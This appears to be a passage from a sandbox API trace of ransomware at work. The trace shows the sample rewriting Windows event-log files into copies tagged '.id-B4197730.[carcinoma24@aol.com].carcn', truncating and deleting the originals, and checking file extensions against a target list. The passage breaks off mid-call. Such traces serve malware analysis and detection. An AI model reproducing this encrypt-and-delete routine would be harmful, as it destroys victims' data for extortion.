[0177.408] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.411] GetLastError () returned 0x0 [0177.411] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.441] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.443] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.443] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xfa, lpOverlapped=0x0) returned 1 [0177.443] SetEndOfFile (hFile=0x364) returned 1 [0177.443] CloseHandle (hObject=0x364) returned 1 [0177.445] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.445] SetEndOfFile (hFile=0x310) returned 1 [0177.446] CloseHandle (hObject=0x310) returned 1 [0177.446] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.446] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0177.446] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.446] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.446] lstrlenW (lpString=".doc") returned 4 [0177.446] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".docx") returned 5 [0177.447] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.447] lstrlenW (lpString=".pdf") returned 4 [0177.447] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".xls") returned 4 [0177.447] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".xlsx") returned 5 [0177.447] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.447] lstrlenW (lpString=".ppt") returned 4 [0177.447] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString=".zip") returned 4 [0177.447] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".rar") returned 4 [0177.447] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".bz2") returned 4 [0177.447] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString=".7z") returned 3 [0177.447] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString=".dbf") returned 4 [0177.447] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString=".1cd") returned 4 [0177.447] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString=".jpg") returned 4 [0177.447] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.447] lstrlenW (lpString=".doc") returned 4 [0177.447] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".docx") returned 5 [0177.448] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.448] lstrlenW (lpString=".pdf") returned 4 [0177.448] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".xls") returned 4 [0177.448] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".xlsx") returned 5 [0177.448] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.448] lstrlenW (lpString=".ppt") returned 4 [0177.448] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.448] lstrlenW (lpString=".zip") returned 4 [0177.448] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".rar") returned 4 [0177.448] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".bz2") returned 4 [0177.448] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString=".7z") returned 3 [0177.448] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.448] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.448] lstrlenW (lpString=".dbf") returned 4 [0177.448] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.448] lstrlenW (lpString=".1cd") returned 4 [0177.448] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.448] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0177.448] lstrlenW (lpString=".jpg") returned 4 [0177.448] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.448] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.448] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0177.448] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.449] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0177.449] CloseHandle (hObject=0x310) returned 1 [0177.450] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0177.450] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.452] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.452] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.452] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.452] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.452] GetLastError () returned 0x0 [0177.452] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.517] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.518] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.518] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x10a, lpOverlapped=0x0) returned 1 [0177.518] SetEndOfFile (hFile=0x364) returned 1 [0177.519] CloseHandle (hObject=0x364) returned 1 [0177.520] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.520] SetEndOfFile (hFile=0x310) returned 1 [0177.521] CloseHandle (hObject=0x310) returned 1 [0177.521] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.522] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0177.522] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.522] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.522] lstrlenW (lpString=".doc") returned 4 [0177.522] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.522] lstrlenW (lpString=".docx") returned 5 [0177.522] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.522] lstrlenW (lpString=".pdf") returned 4 [0177.522] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.522] lstrlenW (lpString=".xls") returned 4 [0177.522] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.522] lstrlenW (lpString=".xlsx") returned 5 [0177.522] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.522] lstrlenW (lpString=".ppt") returned 4 [0177.522] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.522] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.522] lstrlenW (lpString=".zip") returned 4 [0177.522] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.522] lstrlenW (lpString=".rar") returned 4 [0177.522] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".bz2") returned 4 [0177.523] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".7z") returned 3 [0177.523] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString=".dbf") returned 4 [0177.523] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString=".1cd") returned 4 [0177.523] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString=".jpg") returned 4 [0177.523] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString=".doc") returned 4 [0177.523] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".docx") returned 5 [0177.523] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.523] lstrlenW (lpString=".pdf") returned 4 [0177.523] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".xls") returned 4 [0177.523] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".xlsx") returned 5 [0177.523] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.523] lstrlenW (lpString=".ppt") returned 4 [0177.523] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.523] lstrlenW (lpString=".zip") returned 4 [0177.523] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.523] lstrlenW (lpString=".rar") returned 4 [0177.523] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.524] lstrlenW (lpString=".bz2") returned 4 [0177.524] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.524] lstrlenW (lpString=".7z") returned 3 [0177.524] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.524] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.524] lstrlenW (lpString=".dbf") returned 4 [0177.524] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.524] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.524] lstrlenW (lpString=".1cd") returned 4 [0177.524] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.524] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0177.524] lstrlenW (lpString=".jpg") returned 4 [0177.524] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.524] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.524] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0177.524] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.531] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0177.531] CloseHandle (hObject=0x310) returned 1 [0177.531] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0177.531] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.532] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.532] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.532] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.544] GetLastError () returned 0x0 [0177.544] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.567] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.569] ReadFile (in: hFile=0x310, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.569] WriteFile (in: hFile=0x364, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x170, lpOverlapped=0x0) returned 1 [0177.569] SetEndOfFile (hFile=0x364) returned 1 [0177.569] CloseHandle (hObject=0x364) returned 1 [0177.571] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.571] SetEndOfFile (hFile=0x310) returned 1 [0177.573] CloseHandle (hObject=0x310) returned 1 [0177.573] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.573] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString=".doc") returned 4 [0177.574] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".docx") returned 5 [0177.574] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.574] lstrlenW (lpString=".pdf") returned 4 [0177.574] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".xls") returned 4 [0177.574] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".xlsx") returned 5 [0177.574] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.574] lstrlenW (lpString=".ppt") returned 4 [0177.574] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString=".zip") returned 4 [0177.574] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".rar") returned 4 [0177.574] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".bz2") returned 4 [0177.574] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString=".7z") returned 3 [0177.574] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString=".dbf") returned 4 [0177.574] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString=".1cd") returned 4 [0177.574] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.574] lstrlenW (lpString=".jpg") returned 4 [0177.574] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString=".doc") returned 4 [0177.575] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".docx") returned 5 [0177.575] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.575] lstrlenW (lpString=".pdf") returned 4 [0177.575] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".xls") returned 4 [0177.575] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".xlsx") returned 5 [0177.575] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.575] lstrlenW (lpString=".ppt") returned 4 [0177.575] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString=".zip") returned 4 [0177.575] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".rar") returned 4 [0177.575] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".bz2") returned 4 [0177.575] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString=".7z") returned 3 [0177.575] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString=".dbf") returned 4 [0177.575] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString=".1cd") returned 4 [0177.575] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0177.575] lstrlenW (lpString=".jpg") returned 4 [0177.575] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.848] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.848] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0177.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0177.848] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0177.848] CloseHandle (hObject=0x380) returned 1 [0177.848] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0177.848] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0177.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0177.912] GetLastError () returned 0x0 [0177.912] ReadFile (in: hFile=0x380, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.936] WriteFile (in: hFile=0x388, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.938] ReadFile (in: hFile=0x380, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.938] WriteFile (in: hFile=0x388, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x146, lpOverlapped=0x0) returned 1 [0177.938] SetEndOfFile (hFile=0x388) returned 1 [0177.938] CloseHandle (hObject=0x388) returned 1 [0177.940] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.940] SetEndOfFile (hFile=0x380) returned 1 [0177.941] CloseHandle (hObject=0x380) returned 1 [0177.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.941] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged 